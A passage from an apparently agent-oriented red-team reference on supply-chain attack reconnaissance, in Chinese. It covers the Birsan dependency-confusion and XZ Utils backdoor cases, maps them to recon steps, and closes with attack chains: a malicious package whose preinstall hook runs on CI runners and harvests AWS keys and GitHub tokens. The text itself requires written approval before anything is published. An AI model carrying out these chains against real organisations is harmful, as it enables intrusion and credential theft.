- Sonatype 2024 年《软件供应链现状》(发现超过 70 万个恶意软件包):https://www.sonatype.com/state-of-the-software-supply-chain/
- **侦察要点:**技能的第 5 步(生成 typosquatting 候选名称)与此直接相关。进行外部侦察时,你要列出 typosquatting 候选名称——除非获得明确授权,否则绝不要发布。交付内容应为:“你的主要依赖项有 17 个 typosquatting 变体名称目前尚未被注册;建议采取防御性注册。”
11. Alex Birsan 披露依赖混淆问题(2021 年 2 月)
- **攻击流程:**Birsan 从泄露的
package.json文件(在 archive.org 上公开缓存、意外公开的 GitHub 仓库、JS bundle)中提取了 Apple、Microsoft、PayPal、Shopify、Uber、Tesla、Yelp 等公司(以及约 35 家其他公司)的内部 npm scope 名称。他在公开的 npm/PyPI/RubyGems 上使用这些内部名称发布软件包,并设置了更高的 semver 版本。随后,大多数公司的构建系统都会选择公开软件包而非内部软件包,并执行他仅用于遥测的载荷。 - **根本原因:**软件包管理器(npm、pip、gem)默认“无论软件包来自哪个注册表,都选择最高版本”。内部软件包名称泄露到了外部来源。没有强制执行 scope 与注册表的对应关系。
- **影响:**获得超过 13 万美元的漏洞赏金(2021 年多个项目中已知单个研究人员获得的最高金额);催生了整个“依赖混淆”攻击类别;npm/PyPI/Microsoft Azure Artifacts 均发布了缓解措施。
- 参考资料:
- Birsan 的原始文章:https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610
- Microsoft 白皮书:https://azure.microsoft.com/en-us/resources/3-ways-to-mitigate-risk-using-private-package-feeds/
- GitHub 事后分析(npm 方面):https://github.blog/2021-02-12-how-to-prevent-dependency-confusion-on-public-package-registries/
- Snyk 研究:https://snyk.io/blog/dependency-confusion-vulnerability-novel-supply-chain-attack/
- **侦察要点:**这是技能第 3 步和第 4 步的奠基性引用。通过 JS bundle 发现内部 scope 是典型的侦察路径。请注意 Birsan 对严重程度的判断:“名称尚未被注册”本身就足以影响大多数目标,因为它们的构建使用
npm install,且配置会回退到公开 npm——但技能的严重程度表也正确指出,这并非普遍情况。
12. XZ Utils(CVE-2024-3094,2024 年 3 月)
- 攻击流程:“Jia Tan”(
JiaT75)历时 2 年多对xz-utils的维护者实施社会工程攻击。(xz-utils是上游开源软件压缩库,几乎所有 Linux 发行版都在使用。)获得共同维护者身份后,Ta 在liblzma构建流程中植入了多阶段后门,并将其伪装成测试样例。该后门会通过 OpenSSH 的 systemd-notify 集成劫持 SSH 身份验证。 - **根本原因:**单一维护者的开源软件倦怠,加上国家级攻击者般的耐心(Operation J/疑似 APT)。由于 Andres Freund 在基准测试中注意到 SSH 延迟了 500 ms,后门在主要发行版发布之前就被发现了(当时只有 Fedora Rawhide 和 Debian unstable 短暂包含了它)。
- **影响:**在大规模部署前被发现,是一次险些酿成重大事故的事件。此事促使业界全面重新评估“由单一维护者维护的关键开源软件”所带来的风险。CISA、NIST、OpenSSF 均发布了事后分析。
- 参考资料:
- CISA 公告:https://www.cisa.gov/news-events/alerts/2024/03/29/reported-supply-chain-compromise-affecting-xz-utils-data-compression-library-cve-2024-3094
- Andres Freund 的原始披露:https://www.openwall.com/lists/oss-security/2024/03/29/4
- Russ Cox 的时间线:https://research.swtch.com/xz-timeline
- Sam James 的技术分析:https://gist.github.com/thesamesam/223949d5a074ebc3dce9ee78baad9e27
- **侦察要点:**这是外部侦察最难处理的案例——历时数年对维护者实施社会工程攻击,留下的外部信号寥寥无几。不过,GitHub 提交历史分析(关键库中获得提交权限的新贡献者、添加混淆测试样例的提交、仅在发布时生效的更改)正是 Andres Freund 实际采用的方法。可以将这项技能的第 2 步(枚举公开代码库)扩展为“留意高信任权限被授予历史记录很少的账号”。
覆盖情况:案例 → 侦察技能步骤
| 技能步骤 | 对应案例 |
|---|---|
| 第 1 步 — 发现 GitHub 组织 | Birsan 2021、XZ 2024 |
| 第 2 步 — 挖掘公开代码库中的制品 | Codecov 2021、XZ 2024、PHP 2021 |
| 第 3 步 — 发现内部包名 | Birsan 2021 |
| 第 4 步 — 检查依赖混淆 | Birsan 2021、ua-parser-js 2021 |
| 第 5 步 — 查找仿冒包候选 | PyPI colourama/jeIlyfish、event-stream 2018 |
| 第 6 步 — 注入 GitHub Actions 工作流 | tj-actions/changed-files 2025、Codecov 2021 |
| 第 7 步 — 挖掘 Docker/容器注册表 | Codecov 2021、3CX 2023 |
| 第 8 步 — SBOM/制品元数据 | Log4Shell 2021、MOVEit 2023 |
| 第 9 步 — 泄露的内部注册表 URL | Birsan 2021、SolarWinds 2020 |
| 第 10 步 — 检查 npm/PyPI 组织是否存在 | ua-parser-js 2021、event-stream 2018 |
12 起案例中的共同模式
- 代码签名救不了你——SolarWinds、3CX、ua-parser-js 都发布过带有合法签名的恶意代码。
- 固定到可变引用是反复出现的问题——
curl | bash(Codecov)、@v35Action 标签(tj-actions)、^1.0.0semver 版本范围(Birsan、event-stream)。 - 维护者账号被攻陷的影响超过技术 CVE,尤其是在 npm/PyPI 生态中——12 起案例中有 6 起。
- 供应链级联已成常态——3CX 攻击始于 X_TRADER;Codecov → HashiCorp → HashiCorp 的下游用户。从概念上讲,应假定目标的供应商的供应商也在范围内。
- CI 运行器是价值最高的立足点——在每起攻击者代码于 CI 运行器上执行的案例中,攻击者都大量获取了云服务、GitHub 或机密信息。
相关技能与链路
hunt-rce— 依赖混淆会在安装该包的任何运行器上造成 RCE;CI 运行器是价值最高的目标。链路原语:内部包名泄露在公开的 JS 包、SBOM 或 Docker 镜像中 → 在公共 npm/PyPI 上以相同名称发布更高版本的恶意包 → CI 运行器上的下一次npm install/pip install在preinstall钩子中执行攻击者代码 → 使用hunt-rce进行立足后的操作(提取环境变量可获取 AWS 密钥、GitHub PAT 和 Slack 令牌)→ 接管 CI 平面。cloud-iam-deep— CI 运行器持有 IAM 凭据;在此处实施供应链 RCE 能大量窃取凭据。链路原语:恶意包在 GitHub Actions 运行器上执行 → 从环境变量中读取$AWS_ACCESS_KEY_ID/$GITHUB_TOKEN→ 使用cloud-iam-deep进行枚举 → IAM 权限提升链路 → 访问生产环境云平面。offensive-osint— 侦察方法有大量重叠;SBOM、JS 包、GitHub 组织枚举和 Docker 注册表标签都涉及两者。链路原语:通过offensive-osint进行 GitHub 组织侦察,找到 CI 工作流中引用的内部包名 → 使用supply-chain-attack-recon将这些包名与公共 npm/PyPI 交叉比对,查找拼写仿冒/混淆候选项。hunt-cloud-misconfig— 容器注册表(Docker Hub、GHCR、ECR public)经常意外暴露私有镜像。链路原语:SBOM 挖掘发现引用了internal-tools-v2:latest→ 检查 Docker Hub 上是否有意外公开的镜像副本 → 使用hunt-cloud-misconfig枚举注册表 → 拉取镜像 → 提取镜像层中嵌入的机密。triage-validation+redteam-report-template— 供应链侦察在范围内;实际发布属于外部攻击活动,需要明确的书面批准。链路原语:整理出仅用于侦察的候选项列表 → 使用triage-validation的 7 项问题关卡进行审核(尤其是:“我能否在不发布的情况下证明影响?”)→ 通过redteam-report-template将其作为“依赖混淆候选项清单 + 复现步骤”报告,除非客户已书面批准,否则绝不提交已发布包的概念验证。